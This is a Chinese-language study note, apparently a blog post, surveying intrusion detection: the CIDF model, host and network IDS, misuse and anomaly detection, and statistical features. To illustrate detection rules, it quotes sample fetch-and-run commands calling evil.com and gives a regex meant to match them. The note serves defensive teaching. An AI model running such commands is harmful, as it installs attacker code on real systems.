入侵检测技术框架总论【课题笔记】

1. 引言,网络安全态势理解

对态势的理解是人们组合、分析、解读和保留信息的过程。在态势提取的基础上,我们可以采取一些列方法和技术来对安全态势进行进一步的理解和处理,这其中包括安全检测和分析、态势指标构建和态势评估等。

本文我们将重点对网络安全检测和分析的相关技术进行讨论。

0x1:网络安全检测的描述

网络安全检测是指通过对采集来的数据进行检查,并根据观察到的异常事件和数据产生告警的过程,这个过程也称为网络安全检测机制。

这种检测可以通过以下几种技术来完成:

  • 入侵检测的技术:这是最常用的一种技术
  • 入侵相应技术
  • 入侵取证技术

当已经采集到的安全数据通过预处理和验证并在其中发现异常时,就会进入这个过程。一旦网络安全检测机制生成告警数据,且这些数据可供给安全人员进行分析,这一过程将宣告结束,就能够进入网络安全分析环节中。

0x2:安全分析

安全分析并非机械化过程并非机械化过程,不能单纯靠软件自动完成,它对人的能力要求较高,需要安全分析人员的高度参与,且没有统一的、固定的标准,主观性较强。

 

2. 入侵检测

所谓入侵检测,是指对入侵行为的发觉,它通过从计算机网络或系统中的若干关键点收集信息,并对这些信息进行分析,从而发现网络或系统中是否有违反安全策略的行为和遭到攻击的迹象。

具体实施入侵检测的软件与硬件的结合就是入侵检测系统(IDS),它通过收集计算机系统和网络的信息并对这些信息加以分析,对被保护系统进行安全审计、监控、攻击识别以及做出实时的反应。

入侵检测和安全异常定义关系十分密切,关于安全异常的定义,可以参阅这篇文章

0x1:入侵检测通用模型

入侵检测是通过检测计算机网络和系统,以发现违反安全策略的事件的过程。但并非所有的网络安全数据都会被分析或者值得分析,对于需要进行分析的数据,我们统称为事件。入侵检测就是针对事件进行分析处理的。

一个典型的入侵检测系统至少应包括3个功能模块:

  • 提供事件记录流的信息源
  • 发现入侵迹象的分析引擎
  • 基于分析引擎的相应部件

DARPA提出的CIDF(公共入侵检测框架)阐述了入侵检测的通用模型,如下图,

CIDF是一套规范,它定义了IDS表达检测信息的标准语言以及IDS组件之间的通信协议。符合CIDF规范的IDS可以共享检测信息,相互通信,协同工作,还可以与其他系统配合实施统一的配置响应和恢复策略。

CIDF的主要作用在于集成各种IDS使之协同工作,实现各IDS之间的组件重用,所以CIDF也是构建分布式IDS的基础。

CIDF的规格文档由四部分组成,分别为:

  • 体系结构(the common intrusion detection framework architecture):体系结构阐述了一个标准的IDS的通用模型
  • 规范语言(a common intrusion specification language):规范语言定义了一个用来描述各种检测信息的标准语言
  • 内部通讯(communication in the common intrusion detection framework):内部通讯定义了IDS组件之间进行通信的标准协议
  • 程序接口(common intrusion detection framework APIs):程序接口提供了一套标准的应用程序接口(API函数) 

1. CIDF体系结构 

CIDF的体系结构文档阐述了一个IDS的通用模型,它将一个IDS分为以下四个组件:

  • 事件产生器(event generators)
  • 事件分析器(event analyers)
  • 事件数据库(event databases)
  • 响应单元(response units)

1)事件产生器(event generators)

CIDF将IDS需要分析的数据统称为事件(event),它可以是基于网络的IDS从网络中提取的数据包,也可以是基于主机的IDS从系统日志等其他途径得到的数据信息。

CIDF组件之间是以通用入侵检测对象(generalized intrusion detection objects,GIDO)的形式交换数据的,一个GIDO可以表示在一些特定时刻发生的一些特定事件,也可以表示从一系列事件中得出的一些结论,还可以表示执行某个行动的指令。

CIDF中的事件产生器负责从整个计算环境中获取事件,但它并不处理这些事件,而是将事件转化为GIDO标准格式提交给其他组件使用,显然事件产生器是所有IDS所需要的,同时也是可以重用的。

2)事件分析器(event analyers)

CIDF中的事件分析器接收GIDO,并分析他们,然后以一个新的GIDO形式返回分析结果。

3)事件数据库(event databases) 

CIDF中的事件数据库负责CIDO的存储,它可以是复杂的数据库,也可以是简单的文本文件。

4)响应单元(response units)

CIDF中的响应单元根据CIDO做出反应,它可以是终止进程、切断连接、改变文件属性,也可以只是简单的报警。

2. CIDF规范语言 

CIDF的规范语言文档定义了一个公共入侵标准语言(Common intrusion specification language,CISL),各IDS使用统一的CISL来表示原始事件信息、分析结果和响应指令,从而建立了IDS之前信息共享的基础。CISL是CIDF的最核心也是最重要的内容。

3. CIDF内部通讯 

CIDF将各组件之间的通信划分为三个层次结构:

  • GIDO层(GIDO layer):GIDO层负责对传输信息的格式化(例如标准json结构体),正是因为有了GIDO这种统一的信息表达格式,才使得各个IDS之间的互操作成为可能
  • 消息层(Message layer):消息层负责对传输的信息进行加密认证,然后将其可靠地从源传输到目的地。消息层不关心传输的内容,它只负责建立一个可靠的传输通道
  • 传输层(Negotiated Transport layer):不属于CIDF规范,可以采用很多现有的传输机制来实现

4. CIDF程序接口 

CIDF也对各组件之间的信息传递格式、通信方法和标准API进行了标准化。在现有的IDS中,经常用数据采集部分、分析部分、响应部分和日志来分别代替事件产生器、事件分析器、响应单元和事件数据库这些术语。 

Relevant Link:

https://wenku.baidu.com/view/6bfdfa4385254b35eefdc8d376eeaeaad0f316d4.html
http://xueshu.baidu.com/usercenter/paper/show?paperid=21e5eb92dcce8622f82fca4cf0ab4123&site=xueshu_se
http://www.doc88.com/p-9415295880161.html
https://www.docin.com/p-960726121-f2.html

 

3. 入侵检测系统分类

0x1:根据检测所用数据源进行分类

根据检测所用数据的来源不同,可将入侵检测系统分为以下三类:

  • 基于主机的入侵检测系统(HIDS)
  • 基于网络的入侵检测系统(NIDS)
  • 基于混合数据源的入侵检测系统(HIDS+NIDS)

1. 基于主机的入侵检测系统(HIDS)

此种类型的数据来源主要是:

  • 被监测系统的操作系统事件日志
  • 应用程序的事件日志
  • 系统调用日志(syscall)
  • 端口调用
  • 安全审计日志(eventlog)

主机入侵检测主要面向不通过网络的本地攻击。

2. 基于网络的入侵检测系统(NIDS)

此种类型的数据源是网络上的原始数据包,利用一个运行在混杂模式下的网络适配器类实时监视并分析通过网络进行传输的所有通信业务。

该类型不依赖于被监测同的主机操作系统,能检测到基于主机的入侵检测系统发现不了的网络攻击行为,提供实时的网络行为检测,且具有较好的隐蔽性。但缺点是无法实现对加密信道和基于加密信道的应用层协议数据的解密,导致对某些网络攻击的检测率较低。

3. 基于混合数据源的入侵检测系统(HIDS+NIDS)

0x2:根据检测分析方法进行分类

1. 误用检测系统(基于知识的检测)

它通过收集非正常操作的行为特征,建立相关的特征库,当监测的用户或系统行为与库中的记录相匹配时,即认为这种行为是入侵。

它根据已知入侵攻击的信息(知识、模式等)来检测系统中的入侵和攻击,其前提是假定所有入侵行为和手段都能识别并表示成一种模式(攻击签名),那么所有已知的入侵都可以用匹配的方法发现。

误用检测的优点是误报率低,对计算能力要求不高,局限在于只能发现已知攻击,对未知攻击无能为力,且模式库难以统一定义,特征库也必须不断更新。 

2. 异常检测系统(基于行为的检测)

异常检测首先总结正常操作应该具有的特征(用户轮廓),当用户活动与正常行为有重大偏差时即被认为是入侵。

由于入侵活动并不总是与异常活动相符合,因此其通常做法是构造异常活动集并从中发现入侵性活动子集。

从技术实现性上来讲,异常检测有3个关键:

  • 特征:异常检测首先要建立用户的”正常“行为特征轮廓,这个正常模型选取的特征量
    • 既要能够准确体现用户行为特征
    • 又要能够使模型最优化
    • 以最少的特征覆盖用户行为
  • 阈值:异常检测一般先建立正常的特征轮廓并以此作为比较基准,这个基准即为阈值
    • 阈值选得过大,漏报率高
    • 阈值选得过小,误报率就高
  • 比较频率的选择:比较频率是指经过多长时间比较当前行为和已建立的正常行为特征轮廓来判断入侵的发生与否,即所谓的时间窗口
    • 经过的时间过长,检测的漏报率会高
    • 经过的时间过短,检测的误报率会高
    • 正常行为特征轮廓会不断更新,这也会影响比较频率

3. 误用和异常检测混合的入侵检测系统

0x3:根据入侵检测方式进行分类

根据入侵检测工作方式不同,可将入侵检测系统分为以下两类:

  • 实时检测系统:在线式检测系统,是指对网络数据包、主机审计数据等进行实时监测并分析,可以快速反应。
  • 非实时检测系统:也称为离线式检测系统,是指通过事后分析审计事件和文件等,从中检测出入侵攻击。

 

4. 入侵检测的分析方法

入侵检测分析方法主要包括误用检测、异常检测,和协议分析方法。我们下面分别讨论:

0x1:误用检测

误用检测是较早出现的入侵检测分析方法,属于第二代入侵检测技术,它是基于知识(模式)的检测方法,根据已知的入侵模式来检测入侵。

主要包括以下几种类型:

  • 模式匹配方法 
  • 专家系统方法 
  • 状态转换方法 

1. 模式匹配方法 

这是最基本、最简单的误用检测方法,它将已知的入侵特征转换为模式,存放在模式数据库中,在检测过程中将捕获的事件与模式数据库中的入侵模式进行匹配,若匹配成功则认为有入侵行为发生。

入侵者通常会利用系统或网络中的弱点来实施攻击,而这些弱点可以被编成某种模式,形成一个模式库,如果入侵者的攻击方式正好能匹配上入侵检测系统中的模式库,那么就可以认为入侵行为发生。

误用检测非常依赖于模式库,这个模式库是对误用行为的一个解释集,包含了大量对入侵指示器已知的具体行为的描述信息。

然而,对于模式的定义和描述并不固定,准确度也并不是能百分百保证,这就造成了该类检测方法的误报率和漏报率两头都存在难以平衡的问题。例如下面的例子:

某恶意下载的攻击载荷如下,

curl http://evil.com -o evil.sh | sh

通过正则表达式对这种误用行为模式进行概括描述为,

curl\s+http:.*(\s+-\w+){0,}\s+-o\s+.*\.(sh|pl)\s*\|sh

但是这里存在着漏报和误报的问题,例如某正常用户管理员可能会执行下列指令,用于自动化的批量运维部署,

curl http://good.com -o good.sh

这里面的本质问题在于:

对误用行为的模式抽象存在维度模糊性,通过正则表达式对文本的概括抽象所代表的维度上,无法有效对”误用“和”合法“的行为模式进行区分,所以就无法进行有效的误用检测

解决这个困局的一个思路是”升维“或者”维度切换“,在一个维度无法区分的向量,换到另一个维度也许就很容易定义和区分。例如从命令行判断维度转换为url对应的样本内容检测上

同时,误用检测基于已知攻击的假设使得其只能检测到已知入侵,而对于未知入侵则无能为力。

2. 专家系统方法

基于专家系统的入侵检测方法是通过将安全专家的知识表示成IF-THEN规则,形成专家知识库,然后,运用推理算法进行检测入侵。

编码规则说明攻击的必要条件作为IF的组成部分,当规则的左边的全部条件都满足时,规则的右边的动作才会执行。 

入侵检测的开发者并不需要理解专家系统的内部功能和过程,但需要编写决定规则引擎和规则的代码,规则集的每条入侵检测规则都对应某个入侵脚本场景。

从本质上说,专家系统方法是模式匹配方法的升级,在很多工业实践场景中,专家系统的IF-THEN规则,就是由模式匹配规则组成,也即所谓的”与或非组合模式匹配规则“,通过组合多个模式匹配规则,来获得单个模式匹配规则所无法取得的效果。

3. 状态转换方法 

状态转换方法使用系统状态和状态转换表达式描述和检测已知的入侵。

状态状态分析由R.Kemmerer提出,即将状态转换图应用于入侵行为的分析。状态转换法将入侵过程看作是一个行为序列,这个行为序列使得系统由初始状态转入被入侵状态。

分析时首先针对每一种入侵方法确定系统的初始状态和被入侵状态,以及导致状态转换的条件,即导致系统进入被入侵状态必须执行的操作(特征事件)。然后用状态转换图来表示每一个状态和特征事件,这些事件被集成于模型中,所以检测时不需要一个个地审计记录。

但是,状态转换时针对事件序列分析,所以不善于分析复杂的事件,而且不能检测与系统状态无关的入侵。

在实际的工程实践中,我们会借助马尔科夫概率转移矩阵来对入侵事件进行二步图建模,并通过二步图的概率累乘计算得到某个会话的异常程度计量。

但是这里会有两个比较大的问题,

  • 如果用于训练二步概率转移矩阵的数据集只有正常行为,而不包含任何恶意行为,即”以白滤黑“。那么如果异常行为出现,会在概率转移矩阵中无法找到对应元素,那么为了平滑化,会置一个很小的概率值,这样从结果上看,就近乎等同于”基于历史基线的非白即黑“的异常发现,虚警率会很高
  • 如果用于训练的数据集只包含恶意行为,而不包含任何正常行为,即”以黑找黑“,那么又会陷入和模式匹配类似的困境,就是对未知的新攻击方式检测率较低

4. 模型推理方法

对于入侵检测来说,我们常常可以用UEBA的方法论来对原子事件进行建模分析,但是UEBA最大的问题在于,单纯从行为的角度发现的异常,并不一定就代表着实际的入侵

为了解决这个问题,我们可以用模型推理这个新的视角来看待异常行为问题。将攻击者行为的知识描述为【攻击者目的:攻击者达到此目的的可能行为步骤:攻击后获得的结果】,例如:

  • 【下载恶意脚本:wget http://evil.com/evil.sh; chmod 744 evil.sh; ./evil.sh:发现脚本文件落盘;检测到该文件为恶意文件】

模型推理方法的好处在于,扩大了入侵检测的维度范围,原本从单纯行为层面不好检测的事件,通过攻击者目的或者攻击后获得的结果,可以辅助检测,同时检测结果也反过来对攻击步骤进行标记。

0x2:异常检测

异常检测(anormaly detection)是指根据非正常行为(系统或用户)和资源非正常使用情况检测出入侵行为。异常检测是一种基于行为的检测方法,它的通用性较强,可以检测出未知的攻击模式。

异常检测的关键问题在于正常使用轮廓(profile)的建立以及如何利用该轮廓对当前的系统/用户行为进行比较,从而判断出于正常轮廓的偏离程度。但这里存在几点主要挑战:

  • 用于建立使用轮廓的特征选择是一个非常有挑战的事情,也即所谓的特征工程抽象难题。主要的难点在于下面几个方面:
    • 选哪些特征可以表征入侵,这涉及到一个互信息问题,因为不是每个特征统计量都和入侵有直接关系,例如单位时间进程启动数就和入侵没有强相关,而很可能只是管理员在编译源代码
    • 特征的数量维度,单维度的特征可能很难完整表征入侵,但是多维特征的统计建模对计算复杂度的影响又是非常剧烈的
  • 正常用户的行为可能是经常改变的,这导致正常用户行为轮廓的概率分布并不固定,这就会导致误报率的波动
  • 正常用户的行为轮廓概率分布并不收敛集中,而是分布在一个相对十分广泛的区间内,有时甚至会和某些异常行为的概率分布存在部分交叠,这就同时导致了误报和漏报的问题
  • 在用户数目众多,或工作目的经常改变的环境中,会遇到所谓的大数据问题。在这种复杂业务场景环境下,系统/用户的正常描述应该是不断修正和更新的,甚至检测器所使用的特征度量也需要不断调整,但往往异常检测模型的特征向量组在建模期间就已经固定下来了

异常检测是目前学界和工业界的重点研究方向,目前存在多种异常入侵检测方法,如:

  • 贝叶斯统计
  • 机器学习
  • 神经网络

1. 基于统计的异常检测方法

统计方法首先给信息对象,如

  • 系统用户
  • 网络连接
  • 落盘文件
  • 进程启动
  • 目录
  • 设备
  • ..等

针对这些信息对象,创建一个统计描述,统计正常使用时的一些测量属性,如

  • 单位时间内外连访问次数
  • 操作失败次数(例如添加账号、系统账号登录)
  • 单位时间内新进程启动的种类数和次数

测量属性的平均值将被用来与网络、系统的行为进行比较,任何观察值在正常偏差之外时,就认为有入侵发生。其优点是可检测到未知的入侵和更为复杂的入侵,缺点是误报、漏报率高,且不适应用户正常行为的突然改变。

进入更具体一些的实际操作层面,基于统计的异常检测方法主要包括以下关键技术:

  • 选取合适的统计量:在入侵检测系统中,采用统计量描述系统和用户的行为,统计量也包括系统、主机、用户的信息,而且每种统计量的表达方式也不尽相同。选择能够明确表达入侵的统计量是十分重要的。
  • 基于统计的入侵检测系统应该具有自学习和自适应能力:得到了系统信息元素的统计量之后,接下来的步骤就是确定当前系统运行轮廓,根据统计窗口的不同,可以分为两种思路
    • 单统计量窗口:不做任何统计量的聚合,将每一个统计量向量当成一个信息元素,在后续的异常判断阶段通过一个确定的阈值来判别异常
    • 多统计量窗口(即生成统计量之上的统计量):设定一个滑动的窗口,对统计量再进行一次聚合,例如
      • 正态分布建模
      • 按照STL时序信号分解为周期和趋势信号
      • 或者只是简单的计算均值
  • 统计数据的分析和入侵的判断:在选取合适的统计量之后,就要每隔一段时间对系统数据进行采样,同时分析该统计量的概率分布特性。将多个统计量联合分析,最终得出当前系统的评价值,当该评价值超过预设的阈值,就表明存在入侵行为。阈值的设定是非常重要的
    • 阈值可以是根据历史信息、窗口统计信息动态自动生成的
    • 专家经验设定的阈值

关于统计异常建模的应用方面讨论,还可以参阅这篇文章

笔者这里以入侵检测为例,粗粒度地讨论一下如何通过统计异常来进行异常入侵检测

1)统计量选择

统计量的选择要遵循【最大信息增益】与【统计相关性】原理,根据对目标预测效能的统计相关性进行排序,优先选择排在靠前的特征。

对于非结构化的信息对象,可以根据信息对象本身的属性以及专家领域经验,总结出一系列统计量,也即特征,

  • 单位时间窗口内进程启动次数
  • 单位时间窗口内进程启动类型数(进程名去重)
  • 单位时间窗口内进程启动的最大时间间隔(max-min)
  • 单位时间窗口内进程启动对应的会话sid数量(会话数)
  • 单位时间窗口内进程启动对应的父进程ppid数量(父进程数)
  • 单位时间窗口内进程启动对应的当前目录数量(cwd数)
  • 单位时间窗口内CPU的均值和方差
  • 单位时间窗口内进程发起的网络外连数量(连接数)
  • 单位时间窗口内进程发起的网络外连IP数量(目的IP数)
  • 单位时间窗口内进程发起的网络外连Port数量(目的端口数)
  • 单位时间窗口内进程写文件数量(File Write次数)
  • 单位时间窗口内进程写文件文件名数量(FIlename去重数量)
  • 单位时间窗口内进程写文件行为的最大时间间隔(max-min)

2)统计量分析和入侵判断

笔者抽取了以进程为轴心的相关行为日志,进程、网络、进程写文件、cpu,根据10分钟为一个归并窗口得到相关的统计量。

并根据已知的历史告警库对样本向量表进行了打标,然后通过ps-smart进行了有监督训练,基于训练得到的模型对新数据进行了预测,

通过一些列实验,笔者得出下列初步结论:

  • 从统计意义上看,概率型的统计量指标和入侵之间没有明显的相关性,从相关性和信息论的角度来说,基于概率论基础的方法,基本是无法直接进行入侵检测的 
  • 由概率统计衍生出的其他方法,例如马尔科夫方法,因为和统计量本身具有底层的相关性传递关系,因此从信息论的角度来看,也可以得到初步推论,仅仅依靠马尔科夫方法是无法直接进行入侵检测判断的

笔者思考

对于网络安全这个特殊的领域来说,目前来说置信度最高的检测方法论还是【检测黑客达成了哪些攻击目的】,具体来说就是:

  • 通过关联http-request和http-response的成对逻辑关系以及特定文本特征,判定http攻击成功的事实推断
  • 检测到某个落盘文件,同时通过av判定该文件是一个病毒木马,则反过来推定该落盘行为是一次攻击成功事件
  • 检测到某个进程启动,通过分析其命令行中包含的url或者文件,如果判定其是一个病毒木马,则反过来推断该进程启动是一次恶意行为
  • ...

以上的种种方法,从本质上看,都是【检测黑客达成了哪些攻击目的】,是在检测被攻击的客体所遭到的攻击的结果。现在业内也已经有很多这方面的良好实践和应用。

但是反过来,是否可以转换思路,从攻击者主体的角度主动发现攻击者,通过图论算法将攻击者所在的社区或者单个攻击者离群点给“圈定”出来。如果能有效发现攻击者,就拥有了主动情报,基于主动情报,发现客体的被入侵行为就非常简单了

3)统计轮廓自适应能力

2. 基于有监督学习的异常检测方法

有监督学习方法采用非参量化的分析技术,使用自学习技术来提取异常行为的特征,需要对训练数据集进行学习以得出正常的行为模式,并且要求保证训练数据的纯洁性,即不包含任何入侵或异常的用户行为。

神经网络是一种典型的有监督学习,它由大量的处理单元(unit)组成,单元之间通过带有权值的连接(connection)进行交互。神经网络所包含的知识体现在网络的结构当中,学习过程就表现为权值的改变和连接的添加或删除。

3. 基于数据挖掘的入侵检测方法

数据挖掘是指从数据库或数据仓库的数据中提取人们感兴趣的知识或规则,这些知识和规则是隐含的、事先未知的、对决策有潜在价值的。提取的知识通常用如下几种形式表示:

  • 概念
  • 规则
  • 模式
  • ......

在入侵检测系统中,数据挖掘通常是指从大量的数据中提取出模型的过程,采取以数据未中心的观点,把入侵检测看成一个数据分析的过程。

  • 在异常检测过程中,数据挖掘主要从审计数据中发现正常的使用模式
  • 在误用检测过程中,数据数据主要实现审计数据编码并与攻击模式匹配的过程

关于关联规则挖掘在网络安全里的应用讨论,可以参阅另一篇文章

4. 异常检测的基本前提假设

异常检测的基本前提假设是用户的正常行为表现为可预测的、一致的、有规律的系统使用模式,它通过描述正常行为的模式来检查和标记非正常(异常)行为

但是,并非所有的异常行为都是入侵行为,入侵行为只是异常行为的一个子集,而这也是异常检测容易引起误报的原因

异常检测的基础是异常行为模式系统的误用。

安全数据分析师将轮廓定义成度量集(特征集合),度量衡量用户特定方面的行为,每一个度量与一个阈值(固定或者动态)相联系,异常阈值设置的不恰当会造成IDS出现较高的误报率和漏检率。

关于异常检测中的阈值设定,常见的有如下方法论:

  • 量化分析:其检测规则和属性以数值形式表示。该技术经常假定一些计算,包括从简单的加法到比较复杂的密码学计算,这些技术的结果成为误用检测和异常检测统计方法的基础。常见的方法如:
    • 阈值检测:用户和系统行为根据某种属性计数进行描述
    • 启发式阈值检测:在阈值检测基础上进一步使它适合于观察层次
    • 基于目标的集成检查:对在一个系统客体中一次变化的检查,该系统客体通常不应发生不可预测的变化
    • 量化分析和数据精简:从海量事件信息中删除过剩或冗余信息的处理
  • Denning的原始模型:该模型在1986年由Dorty Denning提出,他主张在一个系统中可包括4个统计模型,即:
    • 可操作模型:将度量值与阈值相比较,当度量值超出阈值时触发一个异常
    • 平均和标准差模型:假定行为信任区域的一个度量值为一些参数的平均值的标准差,一个新行为落在信任区域内则为正常,落在外部则为异常
    • 多变量模型:基于两个或多个度量值来执行
    • Markov处理模型:将事件的每个不同类型作为一个状态变量,使用一个状态转换矩阵来描述不同状态之间的转换频率,频率过低则为异常
  • 统计方法:系统生成原始的行为特征文件,异常检测系统定期从历史的特征文件中产生新的特征文件(即统计量的历史窗口统计量)
  • 基于规则的方法:该方法的潜在假定与统计方法的假定类似,不同之处在于基于规则的方法使用规则集来表示和存储使用模型。在事件顺序中查找模式,若某个事件匹配了规则头,但下一个事件不在规则集中,则判断为异常
  • 非参统计度量:早期的统计方法都使用参数方法来描述用户和其他系统实体的行为模式,用户行为模式的分布一般都假定为高斯分布或正态分布,当假定不正确时,异常检测的错误率很高。为此,有学者提出用非参技术来执行异常检测,该方法提供很少的可预测使用模式来容纳用户的能力,并允许分析器考虑不容易由参数方案容纳的系统度量,这其中涉及非参数据区分技术,尤其是群集技术。该方法的前提是根据用户特征吧表示的用户活动数据分成两个明显区别的群,一个指示异常活动,一个指示正常活动。
  • 神经网络:也属于非参分析技术的一种

0x3:协议分析(NTA)

协议分析是出现最晚的入侵检测方法,它利用网络协议的高度规则性,快速识别协议,并检测是否存在攻击,通过辨别数据包的协议类型,以便使用相应的数据分析程序来检测数据包。 

协议分析技术的主要优势在于采用命令解析器(在不同的协议层次上),能够对每个用户命令作出详细分析,如果出现IP碎片,可以对数据包进行重组还原,然后再进行分析。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章